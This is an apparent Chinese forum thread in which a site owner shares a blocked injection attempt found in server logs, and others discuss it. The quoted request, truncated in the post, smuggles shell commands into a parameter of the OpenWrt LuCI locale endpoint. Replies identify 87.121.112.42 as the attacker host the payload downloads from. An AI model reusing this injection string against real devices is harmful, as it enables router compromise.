喜报，网站被人注入了，似乎植入了个脚本到服务器

[已注销] · 2024-07-21T12:55:16+08:00

看见标题是不是以为注入成功了，诶！被拦截了！要不然服务器可能真的没首先今天看日志，诶，发现这样子的奇怪请求： /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+w...

#10 [已注销] sh好像能在windows运行的

#12 削除禁止目前这段木马一些语句Windows不支持，他搞不定的

#13 削除禁止好，服务器又好了，只不过是内存爆了

这是扫描器扫的，扫的openwrt

#16 丰仔我这shell懂得不多

server ip get

#18 Googol 这是别人攻击者的ip，你想搞攻击想的神志不清了吧

#18 Googol 那是攻击方IP xiao tsa kuei

#18 Googol men te 咯

#19 0x24a Googol要是想攻击，直接被nodejs内置防火墙拦截hhhhhh

#20 削除禁止 server_ip=“87.121.112.42”

#22 Googol 这是攻击方的

#22 Googol 看来你是真de bi了

#23 削除禁止？？？？？？

#25 Googol 我靠这都分不清了

怎么可能是攻击方的？？？

#26 Googol 你好好看看

#26 Googol 你好好看看，那是攻击方的payload

#26 Googol 尝试让cmd的主机从87.121.112.42下载文件